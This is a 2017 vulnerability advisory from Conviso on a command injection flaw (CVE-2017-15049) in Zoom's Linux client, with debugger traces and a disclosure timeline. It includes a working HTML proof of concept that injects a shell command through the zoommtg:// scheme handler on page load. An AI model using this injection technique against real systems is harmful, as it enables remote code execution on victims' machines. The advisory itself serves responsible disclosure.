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[CONVISO-17-003] - Zoom Linux Client Command Injection Vulnerability (RCE) 1. Advisory Information Conviso Advisory ID: CONVISO-17-003 CVE ID: CVE-2017-15049 CVSS v2: 10, (AV:N/AC:L/Au:N/C:C/I:C/A:C) Date: 2017-10-01 2. Affected Components Zoom client for Linux, version 2.0.106600.0904 (zoom_amd64.deb). Other versions may be vulnerable. 3. Description The binary /opt/zoom/ZoomLauncher is vulnerable to command injection because it uses user input to construct a shell command without proper sanitization. The client registers a scheme handler (zoommtg://) and this makes possible to trigger the vulnerability remotely. 4. Details gef>r '$(uname)' Starting program: /opt/zoom/ZoomLauncher '$(uname)' ZoomLauncher started. cmd line: $(uname) $HOME = /home/user Breakpoint 5, 0x0000000000401e1f in startZoom(char*, char*) () gef>x/3i $pc => 0x401e1f <_Z9startZoomPcS_+744>: call 0x4010f0 <strcat@plt> 0x401e24 <_Z9startZoomPcS_+749>: learax,[rbp-0x1420] 0x401e2b <_Z9startZoomPcS_+756>: movrcx,0xffffffffffffffff gef>x/s $rdi 0x7fffffffbf10: "export SSB_HOME=/home/user/.zoom; export QSG_INFO=1; export LD_LIBRARY_PATH=/opt/zoom;/opt/zoom/zoom \"" gef>x/s $rsi 0x7fffffffd750: "$(uname) " gef>c Continuing. export SSB_HOME=/home/user/.zoom; export QSG_INFO=1; export LD_LIBRARY_PATH=/opt/zoom;/opt/zoom/zoom "$(uname) " Breakpoint 6, 0x0000000000401e82 in startZoom(char*, char*) () gef>x/3i $pc => 0x401e82 <_Z9startZoomPcS_+843>: call 0x401040 <system@plt> 0x401e87 <_Z9startZoomPcS_+848>: movDWORD PTR [rbp-0x18],eax 0x401e8a <_Z9startZoomPcS_+851>: moveax,DWORD PTR [rbp-0x18] gef>x/s $rdi 0x7fffffffbf10: "export SSB_HOME=/home/user/.zoom; export QSG_INFO=1; export LD_LIBRARY_PATH=/opt/zoom;/opt/zoom/zoom \"$(uname) \"" --- RCE POC --- <html> <head> </head> <body> <h1>Zoom POC RCE</h1> <script> window.location = 'zoommtg://$(gnome-calculator${IFS}-e${IFS}1337)' </script> <body> </html> 5. Solution Upgrade to latest version. 6. Credits Ricardo Silva <rsilva@conviso.com.br> Gabriel Quadros <gquadros@conviso.com.br> 7. Report Timeline Set 28, 2017 - Conviso sent first email asking for a channel to discuss the vulnerability. Set 28, 2017 - Vendor asked the report in the current channel. Set 28, 2017 - Conviso sent informations to reproduce the vulnerability. Set 28, 2017 - Conviso asked if they could reproduce it. Set 28, 2017 - Vendor replied saying that the informations were forwarded to engineering team. Oct5, 2017 - Vendor provided a patch candidate for testing. Oct5, 2017 - Conviso pointed problems in the patch. Oct 11, 2017 - Vendor provided a patch candidate for testing. Oct 12, 2017 - Conviso pointed problems in the patch. Oct 23, 2017 - Conviso asked for status. Oct 27, 2017 - Conviso asked for status. Nov1, 2017 - Conviso asked for status. Nov3, 2017 - Vendor replied. Nov6, 2017 - Conviso asked for status. Nov6, 2017 - Vendor replied. Nov9, 2017 - Conviso asked for status. Nov 13, 2017 - Conviso asked for status. Nov 15, 2017 - Conviso asked for status. Nov 16, 2017 - Vendor provided a patch candidate for testing. Nov 16, 2017 - The patch seems to fix the attack vector, although no further research was done. Nov 20, 2017 - Vendor thanked and marked the issue as solved, considering the patch as a sastifactory fix. Nov 30, 2017 - Vendor released the version 2.0.115900.1201 8. References https://zoom.us/download https://support.zoom.us/hc/en-us/articles/205759689-New-Updates-for-Linux 9. About Conviso Conviso is a consulting company specialized on application security. Our values are based on the allocation of the adequate competencies on the field, a clear and direct speech with the market, collaboration and partnership with our customers and business partners and constant investments on methodology and research improvement. For more information about our company and services provided, please check our website at www.conviso.com.br. 10. Copyright and Disclaimer The information in this advisory is Copyright 2017 Conviso Application Security S/A and provided so that the society can understand the risk they may be facing by running affected software, hardware or other components used on their systems. In case you wish to copy information from this advisory, you must either copy all of it or refer to this document (including our URL). No guarantee is provided for the accuracy of this information, or damage you may cause your systems in testing. |
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